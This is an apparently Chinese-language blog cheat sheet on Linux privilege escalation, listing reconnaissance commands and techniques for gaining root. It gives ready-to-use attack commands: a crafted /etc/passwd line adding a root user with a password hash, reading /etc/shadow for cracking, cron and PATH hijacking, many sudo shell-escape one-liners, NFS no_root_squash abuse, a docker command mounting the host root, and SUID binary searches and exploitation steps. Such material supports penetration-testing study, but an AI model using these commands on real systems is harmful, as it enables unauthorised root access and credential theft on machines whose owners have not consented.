Linux 系统提权方法全解析

-- 基础 --


线索

history 查看历史使用的指令
id 显示用户的id,以及所属群组的id
pwd 显示当权路径
whoami 显示当前用户

sudo -l 查看所用用户可用sudo执行的指令

uname -a 查看内核版本
cat /etc/issue
cat /etc/*-release 查看发行版
cat /etc/fstab 查看磁盘格式
dpkg -l
rpm -qa 查看已经安装的程序

cat /etc/passwd
cat /etc/shadow

netstat -antup 查看各种网络服务

文件上传

增加shell的交互性

  • python -c "import pty;pty.spawn('/bin/bash')"

切换用户

  • 有了(疑似)root密码怎么办?你一定想ssh登陆。然而ssh很可能禁止root登陆,或是防火墙规则将你排除在外了。返回来想,我们不是有一个低权shell了吗?找个办法再上面“输入”密码就好了。显然,直接在低权shell里面用sudo是不奏效的。这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。python就有这样的功能。在shell里面输入python -c "import pty;pty.spawn('/bin/bash')"就用python简历了一个虚拟终端,然后就可以使用sudo等等命令了

提权指令

  • /bin/shSUID权限: chmod u+s /bin/sh
  • 反弹shell:

工具

  • [[curl]]: 发送特定请求, 并接收响应
  • [[ssh]]: 用于安全远程管理和文件传输的网络协议, 提供了一种安全的方式来连接到远程计算机,允许用户执行命令、管理网络服务和传输文件

概念

  • 水平越权: 指相同权限下不同的用户可以互相访问
  • 垂直越权: 指使用权限低的用户可以访问到权限较高的用户

-- 提权 --


内核漏洞提权

  • 查看版本: uname -a
  • 搜索exp: searchsploit linux x.xx.x
  • 上传exp后执行(部分exp要编译)

/etc/passwd修改提权

  • 前提: /etc/passwd有写入权限
  • 利用: 写入新用户 修改root用户密码 或 将当前使用用户写成root权限
  • payload: syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
  • 后续: 切换用户(写入新用户 修改root用户密码) 重新获取shell(将当前使用用户写成root权限)

/etc/shadow读取提权

  • 前提: /etc/shadow可读
  • 利用: 得到root用户密码的哈希值, 用[[hashcat]]或[[john]]爆破

root密码复用提权

  • 原理: 很多管理员会重复使用密码,因此数据库或者web后台的密码也许就是root密码
  • 利用: 查看web后台密码 数据库密码

定时任务文件提权

  • 原理: 在/etc/cronXXX文件夹中储存定时任务文件, 这些文件每过一定时间就会以root权限执行
  • 前提: 当ls -l /etc/cron*发现了有权写入的定时文件
  • 利用: 将提权指令写入定时任务中
crontab文件介绍: 查看定期执行任务的计划任务文件,它允许系统管理员和用户设置定期执行的命令或脚本
SHELL=指定执行命令的 shell,默认是/bin/sh
PATH=指定命令的搜索路径,包含了一系列目录, 不同目录之间用:分隔
MAILTO=如果任务的输出结果有内容,将结果发送到指定的邮箱。如果留空,则不发送
HOME: 默认的用户主目录
分 时 日 月 星期 用户 任务(要执行的具体命令或脚本)            
. . . . . . . . 内容 . . . . . . . . .
时间为任务执行的时间,*表示"每个"值,用,分隔多个值,用-表示范围,用/指定步长(*/10表示每10个单位)

sudo提权

  • 原理: 使用sudo指令可以只使用当前用户就使用root权限
  • 查看: 使用sudo -l查看当前用户使用sudo支持运行的指令
  • 限制绕过: 服务器可能限制sudo运行敏感的指令
    1. 使用sudo su, sudo /bin/bash, sudo /bin/sh 等直接获得root权限
    2. 使用sudo vi /etc/sudoers或其它编辑器, 将支持运行的指令改为ALL=(ALL:ALL) ALL
    3. 使用sudo git -p help后再输入!/bin/bash等指令
    4. 使用sudo find / -exec bash \;
    5. 使用sudo perl -e 'exec bash'sudo perl -e 'exec "/bin/bash";'
    6. 使用sudo python3 -c 'import pty;pty.spawn("/bin/bash")'
    7. 使用sudo less 随便一个文件后再输入!bash
    8. 使用sudo awk 'BEGIN {system("/bin/bash")}'
    9. 使用sudo man man后输入!bash
    10. 使用sudo vi/vim 进入编辑界面后 !bash
    11. 如果sudoers定义了可以执行某个脚本,则我们可以把返回shell的代码添加进去, 例如桌面有个运维需要的aaa.sh文件,我们添加一段打开bash的代码,然后sudo运行即可
    12. 使用sudo env /bin/bash
    13. 使用sudo ftp后输入!bash
    14. 使用sudo 反弹shell指令, 然后进行root权限反弹shell
    15. 使用sudo cp将被限制的指令复制到其它路径,之后就可以运行(前提是在ALL基础上设置限制)
    16. 其它指令

环境变量劫持提权

  • 原理: 执行指令时, 会在环境变量指定目录中依次检索, 越前的目录检索优先级更高, 所以可劫持指令
  • 前提: 系统以root权限执行某指令 (配合 SUID文件 or 定时任务 or 管理员执行指令/脚本)
若已知在<目录>下执行ps指令

export PATH=/<目录>:$PATH
    echo "/bin/sh" > /<目录>/ps
    cp /bin/sh /<目录>/ps
    ln -s /bin/sh /<目录>/ps
chmod 777 /<目录>/ps

NFS提权

  • 简介: NFS是一种分布式文件系统协议,NFS允许系统通过网络与其他人共享目录和文件
  • 前提: NFS参数设置为no_root_squash, 且分享目录的是 root root_sqaush参数阻止对连接到NFS卷的远程root用户具有root访问权限, no_root_squash则不阻止
  • 利用: 目标机: 查看/etc/exports文件, 找到配置为no_root_squash共享目录 攻击机: sudo mount <目标ip>:<共享目录>  <本地挂载目录>, 然后在本地挂载目录中写入SUID文件提权

Docker提权

  • 原理: docker创建的容器内默认为root用户, 而docker可以将文件夹挂载卷到主机上, 所以可以利用提权
  • 前提: 用户有权执行docker指令 (当用户在docker用户组时, 即可无需root使用docker)
  • 利用: docker run -v /:/hostOS -it chrisfosterelli/rootplease

SUID可执行文件提权

  • SUID介绍: SUID是一种文件执行权限, 出现在文件拥有者权限的执行位上(s) 具有这种权限的文件在其执行时,会使调用者暂时获得该文件拥有者的权限 其目的是简化操作流程,让普通用户也能做一些高权限才能做的的工作 但同时我们也可以在执行时将权限提升为root
  • SUID原理: SUID提权的原理与Linux进程的UID有关,进程在运行的时候有以下三个UID Real UID: 执行该进程的用户的UID (Real UID只用于标识用户, 不用于权限检查) Effective UID(EUID):进程执行时生效的UID, 在对访问目标进行操作时,系统会检查EUID是否有权限(一般情况下,Real UID与EUID相同,但在运行设置了SUID权限的程序时,进程的EUID会被设置为程序文件属主的UID) Saved UID:在高权限用户降权后,保留的UID
  • 搜索SUID: 以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试find / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000-print2>/dev/nullfind / -user root -perm -4000-exec ls -ldb {} \;(可用which find查看是否有find指令, 用ls -l xxx查看find权限)
  • SUID文件利用:
    1. (若可执行文件非二进制且可写入)则将注入代码写入脚本, 后执行
    2. (若找到相关的知名指令)使用相关整理好的指令
    3. (若文件执行了linux命令并可知是什么)将命令通过软链接劫持 劫持: 创建软链接 ln -s /bin/sh linux命令 并添加到环境变量最前面export PATH=.:$PATH在环境变量的路径越靠前,执行命令时寻找的目录的优先级就越高
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇